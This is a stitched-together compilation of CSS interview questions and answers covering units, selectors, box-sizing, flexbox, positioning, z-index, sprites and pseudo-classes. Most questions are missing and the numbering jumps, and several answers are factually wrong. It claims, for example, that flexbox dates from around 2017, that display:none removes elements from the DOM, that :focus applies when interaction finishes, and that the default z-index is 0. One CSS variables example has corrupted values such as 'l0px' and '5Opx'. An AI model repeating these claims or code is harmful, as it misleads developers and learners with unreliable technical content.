pt(point) are traditionally used in print. 1pt = 1/72 inch and it is a fixed-size unit.
%(percentage) sets font-size relative to the font size of the body. Hence, you have to set
the font-size of the body to a reasonable size.
No, it doesn’t affect the inline elements. Inline elements flow with the contents of the
page.
We can use the font-family property for achieving this. The font-family property is used
for specifying what font needs to be applied on the targetted DOM element. It can hold
several font names as part of “fallback” mechanism in case the browser does not support
the fonts. For example, we can use:
p {
font-family: "Times New Roman", Times, serif;
}
In the above piece of code, we are applying font-family property to the paragraph
element.
It tells the browser to look for “Times New Roman” font and apply it.
If the “Times New Roman” font is not installed or supported, then it asks the browser
to use Times font.
If both “Times New Roman” and Times are not supported, then it asks the browser to
use any supported generic font belonging to serif.
If you do not want the font-face of the paragraph element to be Times New
Roman/Times/serif font, and you want to use the Arial/Helvetica/sans-serif font, then we
can just update the CSS property of paragraph element as:
p {
font-family: Arial, Helvetica, sans-serif;
}
15. What are the differences between adaptive design and responsive design?
16. How are the CSS selectors matched against the elements by the browser?
The order of matching selectors goes from right to left of the selector expression. The
elements in the DOM are filtered by browsers based on the key selectors and are then
traversed up to the parent elements for determining the matches. The speed of
determining the elements depends on the length of the chain of selectors. Consider an
example:
p span{
color: black;
}
Here, the browser first finds all span elements in the DOM and then it traverses to each
of its parent elements to check if they are the paragraph p elements.
Once the browser finds all matching span tags having paragraph elements as parent and
applies the color of black to the content, the matching process is stopped.
div{
width:300px;
height:200px;
padding:15px;
border: 5px solid grey;
margin:30px;
-moz-box-sizing:content-box;
-webkit-box-sizing:content-box;
box-sizing:content-box;
}
Here, the box-sizing for the div element is given as content-box. That means, the height
and width considered for the div content exclude the padding and border. We will get full
height and width parameters specified for the content as shown in the below image.
The border-box property includes the content, padding and border in the height and
width properties. Consider an example as shown:
div{
width:300px;
height:200px;
padding:15px;
border: 5px solid grey;
margin:30px;
-moz-box-sizing:border-box;
-webkit-box-sizing:border-box;
box-sizing:border-box;
}
Here, the box-sizing for the div element is given as border-box. That means the height
and width considered for the div content will also include the padding and border. This
means that the actual height of the div content will be:
Opacity refers to the degree to which the content is transparent or opaque. We can use
the property named opacity which takes the values ranging from 0 to 1. 0 specifies that
the element is completely transparent where 1 means that the element is completely
opaque. We can use the opacity property as follows:
div {
opacity: 0.6;
}
In the above example, an opacity of 60% is applied to the div section. The opacity
property is not supported by the internet explorer browser. To make it work there, we
need to use filter property as polyfill as shown in the example below.
div {
opacity: 0.6;
filter: alpha(opacity=60);
}
Why should we use float property in CSS?
The float property is used for positioning the HTML elements horizontally either towards
the left or right of the container. For instance,
float-demo {
float: right;
}
Here, the element to which the class is applied ensures that the element is positioned on
the right of the container. If you specify the value of float as left, then the element will be
placed on the left side of the container.
z-index is used for specifying the vertical stacking of the overlapping elements that occur
at the time of its positioning. It specifies the vertical stack order of the elements
positioned that helps to define how the display of elements should happen in cases of
overlapping.
The default value of this property is 0 and can be either positive or negative. Apart from
0, the values of the z-index can be:
The elements having a lesser value of z-index is stacked lower than the ones with a
higher z-index.
From the above figure, we can see that as the value of the z-index increases along the z-
axis, the order of stacking would be towards the top of other elements along the vertical
axis.
div, p
div p
div ~ p
div + p
div > p
div, p: This selector implies selecting all div elements and all p elements.
<h1>Heading 1</h1>
<div>
Division 1
<p> paragraph 1</p> <!-- Will be selected -->
</div>
<p> paragraph 2</p>
<p> paragraph 3</p>
<div>
Division 2
</div>
<span> Span 1 </span>
Here, all the div elements and the p elements would be selected by the browser
irrespective of their parents or where they are placed. The remaining tags like h1 and
span are ignored.
div p : This selector tells to select all p elements that are inside div elements.
Consider an example below:
<h1>Heading 1</h1>
<div>
Division 1
<p> paragraph 1</p> <!-- Will be selected -->
<div>
<p> Inner Div Paragraph </p> <!-- Will be selected -->
</div>
</div>
<p> paragraph 2</p>
<p> paragraph 3</p>
<div>
Division 2
</div>
<span> Span 1 </span>
Here, <p> paragraph 1</p> and <p> Inner Div Paragraph </p> would be selected by
the browser and the properties are applied. The rest of the paragraph tags are not
selected.
div ~ p : This selector tells to select all p elements that have div elements preceeded
anywhere. Consider an example,
<h1>Heading 1</h1>
<div>
Division 1
<p> paragraph 1</p>
</div>
<p> paragraph 2</p> <!-- Will be selected -->
<p> paragraph 3</p> <!-- Will be selected -->
<div>
Division 2
</div>
<span> Span 1 </span>
Here, paragraph 2 and paragraph 3 elements would be selected as marked in the code
above.
div + p : This selector says to select all p elements placed immediately after the div
element. Consider an example in this case:
<h1>Heading 1</h1>
<div>
Division 1
<p> paragraph 1</p>
</div>
<p> paragraph 2</p> <!-- Will be selected -->
<p> paragraph 3</p>
<div>
Division 2
</div>
<span> Span 1 </span>
In this case, we have paragraph 2 element immediately after the div tag. Hence, only that
element will be selected.
div > p : This selector says to select all p elements which has div as an immediate
parent. In the same example below:
<h1>Heading 1</h1>
<div>
Division 1
<p> paragraph 1</p> <!-- Will be selected -->
</div>
<p> paragraph 2</p>
<p> paragraph 3</p>
<div>
Division 2
</div>
<span> Span 1 </span>
Only <p> paragraph 1</p> will be selected in this case because it has immediate div as
the parent.
Flexbox stands for flexible box and it was introduced around 2017 in CSS with the
purpose of providing an efficient way to handle layouts, align elements within them and
distribute spaces amongst the items in dynamic/responsive conditions. It provides an
enhanced ability to alter the dimensions of the items and make use of the available space
in the container efficiently. In order to achieve this, CSS3 provides some properties.
flex-direction: This property helps in defining the direction the container should
stack the items targeted for flex. The values of this property can be
o row: Stacks items horizontally from left to right in the flex container.
o column: Stacks items vertically from top to bottom in the flex container.
o row-reverse: Stacks items horizontally from right to left in the flex container.
o column-reverse: Stacks items vertically from bottom to top in the flex container.
flex-wrap: This property specifies of the flex items should be wrapped or not. Possible
values are:
flex-flow: This property is used for setting both flex-direction and flex-wrap properties
in one statement.
justify-content: Used for aligning the flex items. Possible values are:
o center: It means that all the flex items are present at the center of the container.
o flex-start: This value states that the items are aligned at the start of the container.
This is the default value.
o flex-end: This value ensures the items are aligned at the end of the container.
o space-around: This value displays the items having space between, before, around the
items.
o space-between: This value displays items with spaces between the lines.
“Cascading” refers to the process of going through the style declarations and defining
weight or importance to the styling rules that help the browser to select what rules have
to be applied in times of conflict. The conflict here refers to multiple rules that are
applicable to a particular HTML element. In such cases, we need to let the browser know
what style needs to be applied to the element. This is done by cascading down the list of
style declarations elements.
p{
color:white;
}
and we also have the following declaration below it or in another stylesheet that has been
linked to the page:
p{
color: black;
}
We have a conflict in color property here for the paragraph elements. Here, the browser
just cascades down to identify what is the most recent and most specific style and applies
that. Since we have the color:black; as the most specific declaration, the color black is
applied to the paragraph elements. Now if you want to ensure color white is applied to
the paragraph, we can define weight to that style by adding !important as shown below:
p{
color:white !important;
}
!important ensures that the property has the maximum weight in presence of other
conflicting properties.
Absolute: To place an element exactly where you want to place it. absolute position is
actually set relative to the element's parent. if no parent is available then the relative
place to the page itself (it will default all the way back up to the element).
Static: Static default for every single page element. The only reason you would ever
set an element to position: static is to forcefully remove some positioning that got
applied to an element outside of your control.
Sticky: Sticky positioning is a hybrid of relative and fixed positioning. The element is
treated as relative positioned until it crosses a specified threshold, at which point it is
treated as fixed positioned.
Reflow is the name of the web browser process for re-calculating the positions and
geometries of elements in the document, for the purpose of re-rendering part or the
entire document.
The box-sizing CSS property sets how the total width and height of an element are
calculated.
Content-box: The default width and height values apply to the element's content
only. The padding and border are added to the outside of the box.
Padding-box: Width and height values apply to the element's content and its
padding. The border is added to the outside of the box. Currently, only Firefox
supports the padding-box value.
Border-box: Width and height values apply to the content, padding, and border.
CSS:
.cn {
display: table-cell;
width: 500px;
height: 500px;
vertical-align: middle;
text-align: center;
}
.inner {
display: inline-block;
width: 200px; height: 200px;
}
CSS:
.cn {
position: relative;
width: 500px;
height: 500px;
}
.inner {
position: absolute;
top: 50%; left: 50%;
transform: translate(-50%,-50%);
width: 200px;
height: 200px;
}
CSS:
.cn {
display: flex;
justify-content: center;
align-items: center;
}
<div class=”wrap_grid”>
<div id=”container”>vertical aligned text<br />some more text here
</div>
</div>
CSS:
.wrap-grid {
display: grid;
place-content: center;
}
All → It’s the default property. Used for all media-type devices.
Screen → Used for computer screen, mobile screen.
Print → Used for printers.
Speech → Used for screen readers.
CSS Grid Layout is the most powerful layout system available in CSS. It is said to be a 2-
dimensional system, meaning it can handle both columns and rows, unlike Flexbox which
is largely a 1-dimensional system.
7. What are the different ways to hide the element using CSS?
Using display property (display: none). It’s not available for screen readers. The
element will not exist in the DOM if display: none is used.
Using visibility property (visibility: hidden), will take up the space of the element. It
will be available to screen reader users. The element will actually be present in the
DOM, but not shown on the screen.
Using position property (position: absolute). Make it available outside the screen.
The :root selector allows you to target the highest-level “parent” element in the DOM, or
document tree. It is defined in the CSS Selectors Level 3 specification.
For example, a website developed with accessibility in mind might have text-to-speech
capabilities. In the USA public websites have to have accessible compliance. It’s defined
in 508 compliance. It gives the guidelines and best practices for all website users that
should be met with key areas of accessibility.
CSS Grid Layout is a two-dimensional system, meaning it can handle both columns
and rows. Grid layout is intended for larger-scale layouts which aren’t linear in
design.
.foo {
Width: calc(100px + 50px)
}
:root {
--main-bg-color: brown
}
.one {
color: white;
background-color· var (--main-bg-color);
margin: l0px,
width: 50px,
height: 5Opx;
display: inline-block;
}
14. What is the difference between CSS variables and preprocessor (SASS, LESS,
Stylus) variables?
CSS variables can be used without the need for a preprocessor. Currently, all the
major browsers support the CSS variables.
It makes every element in the document include the padding and border in the
element’s inner dimension for the height and width computation.
The width of an element is now calculated by the content's width + horizontal padding
+ horizontal border width.
The style is having the important will have the highest precedence and it overrides the
cascaded property.
p {
color: red !important;
}
#thing {
color: green;
}
<p id="thing">Will be RED.</p>
Progressive rendering is the name given to techniques used to improve the performance
of a webpage (in particular, improve perceived load time) to render content for display as
quickly as possible.
We can implement the progressive rendering of the page by loading the lazy loading of
the images. We can use Intersection Observer API to lazy load the image. The API makes
it simple to detect when an element enters the viewport and take an action when it does.
Once the image enters the viewport, we will start loading the images.
<img class="lazy"
src="placeholder-image.jpg"
data-src="image-to-lazy-load-1x.jpg"
data-srcset="image-to-lazy-load-2x.jpg 2x, image-to-lazy-load-1x.jpg 1x"
alt="I'm an image!">
document.addEventListener("DOMContentLoaded", function() {
var lazyImages = [].slice.call(document.querySelectorAll("img.lazy"));
if ("IntersectionObserver" in window) {
let lazyImageObserver = new IntersectionObserver(function(entries,
observer) {
entries.forEach(function(entry) {
if (entry.isIntersecting) {
let lazyImage = entry.target;
lazyImage.src = lazyImage.dataset.src;
lazyImage.srcset = lazyImage.dataset.srcset;
lazyImage.classList.remove("lazy");
lazyImageObserver.unobserve(lazyImage);
}
});
});
lazyImages.forEach(function(lazyImage) {
lazyImageObserver.observe(lazyImage);
});
} else {
// Possibly fall back to event handlers here
}
});
19. What are the advantages of using translate() instead of absolute position?
Translate() does not cause the browser to trigger repaint and layout and instead only acts
on the compositor. The absolute position triggers the repaint or DOM reflow. So,
translate() gives better performance.
20. Does style1.css have to be downloaded and parsed before style2.css can be
fetched?
<head>
<link href=" stylel.css" rel="stylesheet">
<link href="style2.css" rel="stylesheet">
</head>
No, the browsers will download the CSS in the order of its appearance on the HTML
page.
The @support in CSS can be very useful to scan if the current browser has support for a
certain feature.
Absolute positioning is a very powerful positioning mechanism that allows users to place
any element wherever they want in an exact location. The CSS properties right, left, top,
bottom and define the exact locations where you need to place the element. In absolute
positioning, the following points need to be considered:
The element to which the absolute positioning is applied is removed from the normal
workflow of the HTML document.
o The HTML layout does not create any space for that element in its page layout.
The final position of the element is determined based on values provided to the top,
right, left, bottom.
The overflow property in CSS is used for specifying whether the content has to be clipped
or the scrollbars have to be added to the content area when the content size exceeds the
specified container size where the content is enclosed. If the value of overflow is hidden,
the content gets clipped post the size of the container thereby making the content
invisible. For example,
div {
width: 150px;
height: 50px;
overflow: hidden;
}
If the content of the div is very large and exceeds the height of 50px, the content gets
clipped post 50px and the rest of the content is not made visible.
How will you align content inside the p tag at the exact center inside the div?
We can add the text-align: center property inside the parent div for aligning the contents
horizontally. But it will not align the contents vertically. We can align the content
vertically by making the parent element have relative positioning and the child element
have absolute positioning. The child element should have the values of top, bottom, right,
left as 0 to center it in the middle vertically. Then we need to set the margin as auto. It is
assumed that both the child and mother elements will have height and width values.
Consider we have a div element of height and width taking 20% of the screen size, and
we have a paragraph element taking the height of 1.2em and width of 20%. If we want to
align the paragraph element at the center (vertically and horizontally), we write the
following styles:
div {
position : relative; // Make position relative
height : 20%;
width : 20%;
text-align : center; //Align to center horizontally
}
p {
position : absolute; // Make position absolute
top:0; // Give values of top, bottom,left, right to 0
bottom:0;
left:0;
right:0;
margin : auto; // Set margin as auto
height : 1.2 em;
width : 20%;
}
By using margin property we can create space around the elements. We can also create
space for borders defined at the exteriors. We have the following properties for defining
the margin:
margin-top
margin-right
margin-bottom
margin-left
length – The value of this property can be in px, pt, cm, em etc. The values can be
positive or negative.
inherit – Using this property, the margin properties can be inherited from the parent
elements.
The padding property is used for generating the space around the element’s content and
inside any known border. The padding also has sub-properties like:
padding-top
padding-right
padding-bottom
padding-left
From the below image, we can see that the Margin is the outermost entity of the CSS Box
Model that lies outside of the borders whereas the padding lies within the borders.
body {
counter-reset: header; /* define counter named 'header' whose initial
value is 0 by default */
}
h2::before {
counter-increment: header; /* The value of header counter by 1.*/
content: "Header " counter(header) ": "; /* To display word Header and
the value of the counter with colon before it.*/
}
Here, we are trying to achieve auto count increment and display feature for the h2 tag.
Wherever we use h2 tag, the content will be prefixed by "Header 1 : " , "Header 2 : ",
"Header 3 : " etc.
Both are pseudo-classes (Pseudo-classes are those keywords that specifies the special
state of the selected element). The nth-child() pseudo-class is used for matching elements
based on the number that represents the position of an element based on the siblings.
The number is used to match an element on the basis of the element’s position amongst
its siblings.
For example, in the below piece of code, if we give nth-child(4) for the example class,
then the 4th child of the example class is selected irrespective of the element type. Here,
the fourth child of the example class is the div element. The element is selected and a
background of black is added to it.
.example:nth-child(4) {
background: black;
}
<div class="example">
<p>This is a paragraph.</p>
<p>This is a paragraph.</p>
<p>This is a paragraph.</p>
<div>This is a div.</div> <!-- 4th Element to select and apply style--
>
<div>This is a div.</div>
<p>This is a paragraph.</p>
<p>This is a paragraph.</p>
<div>This is a div.</div>
</div>
The nth-of-type() pseudo-class is similar to the nth-child but it helps in matching the
selector based on a number that represents the position of the element within the
elements that are the siblings of its same type. The number can also be given as a
function or give keywords like odd or even.
For example, in the below piece of code, if we give p:nth-of-type(even) for the example
class, then all the even paragraph tags are selected within the example class and the
style of background black is applied to them. The selected elements are marked in
comments in the below code:
.example p:nth-of-type(even) {
background: black;
}
<div class="example">
<p>This is a paragraph.</p>
<p>This is a paragraph.</p> <!-- Select this and apply style-->
<p>This is a paragraph.</p>
<div>This is a div.</div>
<div>This is a div.</div>
<p>This is a paragraph.</p> <!-- Select this and apply style-->
<p>This is a paragraph.</p>
<div>This is a div.</div>
<p>This is a paragraph.</p> <!-- Select this and apply style-->
<div>This is a div.</div>
</div>
CSS sprites are used for combining multiple images in a single larger image. They are
commonly used for representing icons that are used in the user interfaces. The main
advantages of using sprites are:
It reduces the number of HTTP requests to get data of multiple images as they are
acquired only by sending a single request.
It helps in downloading assets in advance that help display icons or images upon
hover or other pseudo-states.
When there are multiple images, the browser makes separate calls to get the image
for each of them. Using sprites, the images are combined in one and we can just call
for that image using one call.
Consider an example where our application requires 3 images as shown below (Without
Sprites Section). If we are trying to load the images independently, we require 3 different
HTTP Requests to get the data. But if we have CSS Sprites where all 3 images are
combines into 1 separated by some spaces, then we require only 1 HTTP Request.
We can access each image from the sprite by accessing the positioning properties as
shown in the below code:
<!DOCTYPE html>
<html>
<head>
<style>
#home-icon {
left: 0px;
width: 46px;
background: url('spriteFile.gif') 0 0;
}
#prev-icon {
left: 63px;
width: 43px;
background: url('spriteFile.gif') -47px 0;
}
#next-icon {
left: 129px;
width: 43px;
background: url('spriteFile.gif') -91px 0;
}
</style>
</head>
<body>
</body>
</html>
In the above code, we are trying to access each element - house, previous and next icon -
from the sprite file by using the left, width properties. The image is displayed in the img
section by means of the background property. Do note that the source of the image (src
attribute of the img tag) is just one file which is the spriteFile.gif and depending on the
rules specified in the id selectors, the images are loaded accordingly.
Tweening is the process of filling the gaps between the key sequences, i.e. between the
keyframes that are already created. Keyframes are those frames that represent start and
end point of animation action. Tweening involves generating intermediate keyframes
between two images that give the impression that the first one has evolved smoothly to
the second image. For this purpose, we use properties like transforms - matrix, translate,
scale, rotate etc.
p {
animation-duration: 2s;
animation-name: slidethrough;
}
@keyframes slidethrough {
from {
margin-left: 100%;
width: 300%;
}
to {
margin-left: 0%;
width: 100%;
}
}
Here, the paragraph element specifies that the animation process should take 2 seconds
for execution from start to the finish. This is done by using the animation-
duration property. The animation-name of the @keyframes is defined by using the
property animation-name. The intermediate keyframes are defined by
using @keyframes rule. In the example, we have just 2 keyframes. The first keyframe
starts at 0% and runs till the left margin of 100% which is the rightmost edge of the
containing element. The second keyframe starts at 100% where the left margin is set as
0% and the width to be set as 100% which results in finishing the animation flush against
the left edge of the container area.
The clear property along with floats is used for specifying which side of floating elements
is not supposed to float. An element having clear property ensures that the element does
not move up adjacent to the float. But the element will be moved down past the float.
Let us understand this with the help of an example. We know that the floated objects do
not add to the height of the objects where they reside. Consider we have a div element
with class “floated_div” within another div element with id “main_div”.
<html>
<head>
<style>
#main_div {
width: 400px;
margin: 10px auto;
border: 4px solid #cccccc;
padding: 5px;
}
.floated_div {
float: left;
width: 50px;
height: 50px;
border: 2px solid #990000;
margin: 10px;
}
</style>
</head>
<body>
<div id="main_div">
<p>Clear Float Demo</p>
<div class="floated_div"></div>
<div class="floated_div"></div>
<div class="floated_div"></div>
<div class="floated_div"></div>
<div class="floated_div"></div>
</div>
</body>
</html>
The result of this code would be as shown below. We see that the squares that are
expected to be within dev are not within the main parent div. How do we fix this?
We can do it just by adding <div style="clear:both"></div> line at the end of the last
floated element so that the floated elements are fit in properly within the main div
container.
<html>
<head>
<style>
#main_div {
width: 400px;
margin: 10px auto;
border: 4px solid #cccccc;
padding: 5px;
}
.floated_div {
float: left;
width: 50px;
height: 50px;
border: 2px solid #990000;
margin: 10px;
}
</style>
</head>
<body>
<div id="main_div">
<p>Clear Float Demo</p>
<div class="floated_div"></div>
<div class="floated_div"></div>
<div class="floated_div"></div>
<div class="floated_div"></div>
<div class="floated_div"></div>
<div style="clear:both"></div> <!-- Adding this fixed the
issue -->
</div>
</body>
</html>
We can write browser-specific styles separately in different sheets and load that only
when the specific browser is used. This makes use of the server-side rendering
technique.
We can use auto-prefix for automatically adding vendor prefixes in the code.
There are some ways for avoiding browser compatibility issues too. They are as follows:
Validate HTML and CSS: We know that the code will be read, interpreted and
handled differently by different browsers. We need to validate our HTML and CSS
files for the missing closing tags, or missing semicolons in the syntaxes because there
are chances that the old browsers will throw errors while rendering the code. We can
avoid those errors by:
o Make use of validation tools like Jigsaw CSS validator, W3C HTML Validators to
identify syntax issues in the code.
o CSS Multi-Column layouts - For maintaining proper layouts w.r.t columns and
containers.
o HTML viewport metatag – For ensuring content is properly spanned across mobile
devices.
o CSS Flexbox and Grids - To layout child elements depending on the content and
available space.
o CSS resets stylesheets - For reducing browser inconsistencies in default line heights,
font sizes, margins etc.
Check JavaScript Library issues: Ensure the libraries are used judiciously and the
ones used are supported by the browsers.
Check DOCTYPE tag keyword: The DOCTYPE keyword is meant for defining rules
of what needs to be used in the code. Older browser versions check for DOCTYPE tag
at the beginning and if not found, the application rendering won't be proper.
The numerous characteristics of CSS Flexbox can be used to create intricate and
powerful compositions.
display is used to describe a flex container. The flex value is utilized to establish a
flex container.
flex-direction is employed to determine the direction of the primary axis, which is the
axis that flex items are arranged along. This property can have the values row, row-
reverse, column, and column-reverse.
justify-content aligns flex items parallel to the primary axis. This property can take
many different values, including flex-start, flex-end, center, space-between, space-
around, and space-evenly.
align-items align flex items perpendicular to the primary axis. Flex-start, flex-end,
center, baseline, and stretch are all possible values for this attribute.
flex wrap determines whether or not flex items should wrap when their width exceeds
the width of the flex container. This property’s possible values are nowrap, wrap, and
wrap-reverse.
align-content, When there is extra space in the flex container, use align-content to
align flex lines perpendicular to the major axis. This property’s likely values are flex-
start, flex-end, center, space-between, space-around, and stretch.
flex is employed to establish the flex grow, flex shrink, and flex basis of a flex item.
The shorthand property flex creates all three values at the same time. The individual
properties are flex-grow, flex-shrink, and flex-basis.
RGB represents the colors in CSS. The RGB streams are namely red, green, and blue. The
intensity of the colors can be set from 0 to 255. It enables CSS to have a spectrum of
visible colors.
Define z-index
Z-index helps specify the stack order of elements that overlap each other. While the
default value of z-index is zero, it can take both positive and negative values. An element
with a greater stack order is always above the element with a lower stack order.
number: It sets the stack order of the element. Negative values are allowed.
translate() involves reduced paint times and is more efficient. Unlike when changing
absolute positioning, the element occupies original space when translate () is used.
body {
background-image: url(‘url_of_image’);
background-repeat: no-repeat;
background-attachment: fixed;
}
Describe the advantages of the CSS Flexbox layout approach over conventional
layout techniques.
A style concept known as CSS Flexible Box style, or Flexbox, enables the development of
responsive and adaptable layouts with a single-dimensional axis (horizontal or vertical).
Powerful capabilities offered by Flexbox include the ability to quickly rearrange objects,
manage space alignment and distribution, and automatically modify the layout according
to the amount of available space and the size of the content.
Its benefits include better responsiveness, simpler and cleaner markup, and enhanced
support for intricate layouts without the need for workarounds or hacks.
Provide examples of when and how to utilize CSS vendor prefixes, along with an
explanation of their function.
CSS vendor prefixes are used to add experimental or browser-specific CSS features that
may not be fully supported across all browsers.
.box {
-webkit-border-radius: 10px; /* Safari, Chrome
*/
-moz-border-radius: 10px; /* Firefox */
border-radius: 10px; /* Standard */
}
Describe the function of CSS custom properties, often known as variables, and
give instances of how to use them.
CSS custom properties, or variables, allow for the definition of reusable values in CSS.
:root {
--primary-color: #3498db;
}
.button {
background-color: var(--primary-color);
}
54. Explain the distinction between the transition properties and the CSS
transform properties.
Transition animates the change between multiple property values and defines how CSS
properties should change over time in response to user actions (e.g., hover, click).
CSS has two types of lengths. Relative length and absolute length. Different units are
used for them.
Relative Length
UNIT DESCRIPTION
em Relative to the font-size of the element (2em means 2 times the size of the
current font)
ex Relative to the x-height of the current font (rarely used)
ch Relative to the width of the “0” (zero)
rem Relative to font-size of the root element
vw Relative to 1% of the width of the viewport*
vh Relative to 1% of the height of the viewport*
vmin Relative to 1% of viewport’s* smaller dimension
vmax Relative to 1% of viewport’s* larger dimension
% Relative to the parent element
Absolute Length
UNIT DESCRIPTION
CM centimetres
MM millimetres
IN inches (1in = 96px = 2.54cm)
PX pixels (1px = 1/96th of 1in)
PT points (1pt = 1/72 of 1in)
PC picas (1pc = 12 pt)
Browsers match selectors from rightmost (key selector) to left. Browsers filter out
elements in the DOM according to the key selector and traverse up its parent elements to
determine matches. The shorter the length of the selector chain, the faster the browser
can determine if that element matches the selector.
For example with this selector p span, browsers firstly find all the <span> elements and
traverse up its parent all the way up to the root to find the <p> element. For a
particular <span>, as soon as it finds a <p>, it knows that the <span> matches and can
stop its matching.
These two approaches are not exclusive. Making a website responsive means some
elements will respond by adapting its size or other functionality according to the device’s
screen size, typically the viewport width, through CSS media queries.
A mobile-first strategy is also responsive, however, it agrees we should default and define
all the styles for mobile devices, and only add specific responsive rules to other devices
later. Following the previous example:
.my-class {
font-size: 12px;
}
It’s more performant on mobile devices since all the rules applied for them don’t have
to be validated against any media queries
What effect would this piece of CSS code have? {box-sizing: border-box;}
By default, elements have box-sizing: content-box applied, and only the content size is
being accounted for.
box-sizing: border-box changes how the width and height of elements are being
calculated, border and padding are also being included in the calculation.
The height of an element is now calculated by the content’s height + vertical padding
+ vertical border width.
The width of an element is now calculated by the content’s width + horizontal padding
+ horizontal border width.
Taking into account paddings and borders as part of our box model resonates better
with how designers actually imagine content in grids.
A CSS preprocessor is a program that lets you generate CSS from the preprocessor’s
own unique syntax. There are many CSS preprocessors to choose from, however, most
CSS preprocessors will add some features that don’t exist in pure CSS, such as mixin,
nesting selector, inheritance selector, and so on. These features make the CSS structure
more readable and easier to maintain.
The usage depends on the type of project but the following advantages/disadvantages
come with a preprocessor.
Advantages:
Disadvantages:
Selecting a preprocessor really boils down to preference, and it can be revealing to see
how a particular developer might decide to use one over the other for your project.
What’s the difference between a relative, fixed, absolute and statically positioned
element?
Static - The default position; the element will flow into the page as it normally would.
The top, right, bottom, left and z-index properties do not apply.
Relative - The element’s position is adjusted relative to itself, without changing the
layout (and thus leaving a gap for the element where it would have been had it not
been positioned).
Absolute - The element is removed from the flow of the page and positioned at a
specified position relative to its closest positioned ancestor if any, or otherwise
relative to the initial containing block. Absolutely positioned boxes can have margins,
and they do not collapse with any other margins. These elements do not affect the
position of other elements.
Fixed - The element is removed from the flow of the page and positioned at a
specified position relative to the viewport and doesn’t move when scrolled.
Sticky - Sticky positioning is a hybrid of relative and fixed positioning. The element is
treated as relative positioned until it crosses a specified threshold, at which point it is
treated as fixed positioned.
Here are some examples illustrating the usage of CSS position properties:
-webkit- (Chrome, Safari, newer versions of Opera, almost all iOS browsers (including
Firefox for iOS); basically, any WebKit based browser)
-moz- (Firefox)
-o- (Old, pre-WebKit, versions of Opera)
-ms- (Internet Explorer and Microsoft Edge)
Part of a good CSS architecture is file organization. A monolithic file is fine for solo
developers or very small projects. For large projects—sites with multiple layouts and
content types, or multiple brands under the same design umbrella—it’s smarter to use a
modular approach and split your CSS across multiple files.
Splitting your CSS across files makes it easier to parcel tasks out to teams. One
developer can work on typography-related styles, while another can focus on developing
grid components. Teams can split work sensibly and increase overall productivity.
When a browser displays a document, it must combine the document’s content with its
style information. It processes the document in two stages:
The browser converts HTML and CSS into the DOM (Document Object Model). The
DOM represents the document in the computer’s memory. It combines the document’s
content with its style.
The secret to creating printable pages is being able to identify and control the “content
area(s)” of your website. Most websites are composed of a header, footer, sidebars/sub-
navigation, and one main content area. Control the content area and most of your work is
done. The following are my tips to conquering the print media without changing the
integrity of your website.
Pseudo elements:
A CSS pseudo-element is used to style specified parts of an element. For example, it can
be used to:
p::first-line {
color: #ff0000;
font-variant: small-caps;
}
Pseudo classes
A pseudo-class is used to define a special state of an element. For example, it can be used
to:
->Style an element when a user mouse is over it ->Style visited and unvisited links
differently
->Style an element when it gets focus
* unvisited link */
a:link {
color: red;
}
/* visited link */
a:visited {
color: green;
}
/* mouse over link */
a:hover {
color: hotpink;
}
/* selected link */
a:active {
color: blue;
}
Two commonly used properties to manipulate the visibility of elements are `display` and
`visibility`. While both serve similar purposes, they have distinct differences that can
significantly impact the layout and functionality of a webpage.
display: none: The `display: none;` property is a straightforward and powerful way to
hide an element completely from the layout. When applied to an element, it not only
makes the element invisible but also removes it from the document flow. This means that
the space the element would have occupied is reclaimed, causing the surrounding
elements to adjust accordingly.
CSS:
.hidden-element {
display: none;
}
HTML:
<div class="hidden-element">
This content is hidden.
</div>
In this example, the `.hidden-element` will not be visible on the webpage, and it won’t
affect the layout or spacing of other elements.
visibility: hidden: On the other hand, the `visibility: hidden;` property also hides an
element, but with a subtle difference. While the element becomes invisible, it still
occupies space in the document flow. The surrounding elements will act as if the hidden
element is still present, maintaining the layout integrity.
CSS:
.hidden-element {
visibility: hidden;
}
HTML:
<div class="hidden-element">
This content is hidden but still occupies space.
</div>
In this case, the `.hidden-element` is hidden, but the space it would normally occupy is
retained, influencing the layout of surrounding elements.
Comparison:
— Reflow: The major distinction lies in how the two properties impact the document
flow. `display: none;` triggers a reflow, adjusting the layout, while `visibility: hidden;`
does not affect the layout.
In this article, we’ll explore the different ways to add CSS to your HTML document,
making your website captivating and user-friendly.
Inline CSS: This method involves adding CSS directly to an HTML element using
the style attribute. While convenient for quick tweaks, it can quickly clutter your code
and become difficult to maintain for larger projects.
Internal CSS: This approach involves creating a dedicated <style> tag within
the <head> section of your HTML document. Here, you can define styles for various
elements using class selectors, IDs, or element tags. This method offers better
organization and maintainability compared to inline CSS.
<head>
<style>
p {
color: blue;
font-family: Arial, sans-serif;
}
h1 {
text-align: center;
font-size: 30px;
}
</style>
</head>
<body>
<p>This text is styled internally.</p>
<h1>Internal CSS rocks!</h1>
</body>
External CSS: The preferred method for larger projects, external CSS involves storing
your styles in a separate .css file. This file is then linked to your HTML document using
the <link> tag in the <head> section. This approach promotes code reusability,
simplifies maintenance, and improves website performance.
<head>
<link rel="stylesheet" href="mystyles.css">
</head>
<body>
</body>
Choosing the Right Method: The choice between these methods depends on your
project’s size and complexity. Inline CSS is suitable for minor adjustments, while internal
CSS caters to small-scale projects. For larger websites, external CSS is the golden
standard for organization and maintainability.
The main difference between the two pseudo classes is that the `:focus` pseudo class is
applied when the user starts interacting with the element, while the `:active` pseudo
class is applied when the user finishes interacting with the element.
For example, if you have a button that changes color when it is focused,
the `:focus` pseudo class will be applied when the user tabs to the button or clicks on it
with the mouse. The `:active` pseudo class will not be applied until the user actually
clicks on the button and starts to press down.
The `:focus` and `:active` pseudo classes are both used to style elements in different
states, but they have different meanings.
1. The `:focus` pseudo class is used to style an element when it is in focus. This means
that the element is currently receiving input from the user, either through a keyboard
or a mouse.
2. The `:active` pseudo class is used to style an element when it is being activated by
the user. This means that the user is currently clicking or pressing on the element.
Here is an example of how to use the `:focus` and `:active` pseudo classes in
CSS:
button:focus {
background-color: yellow;
color: black;
}
button:active {
background-color: red;
color: white;
}
This code will make a button change color from yellow to red when it is clicked.
The `:focus` pseudo class will be applied when the user tabs to the button or clicks on it
with the mouse, and the `:active` pseudo class will be applied when the user actually
clicks on the button and starts to press down.
It is important to note that not all elements can be focused. Only elements that are able
to receive input from the user, such as buttons, input boxes, and text areas, can be
focused.
Also, the `:active` pseudo class is not supported by all browsers. For example, it is not
supported by the mobile Safari browser.
1vh is equal to 1% of the viewport’s height, with the viewport being the browser window.
1px is one physical pixel on the device’s screen. Percent is the relative size compared to
its parent element. For example, a div with 50% width inside another div will take up half
of the outer div’s width.
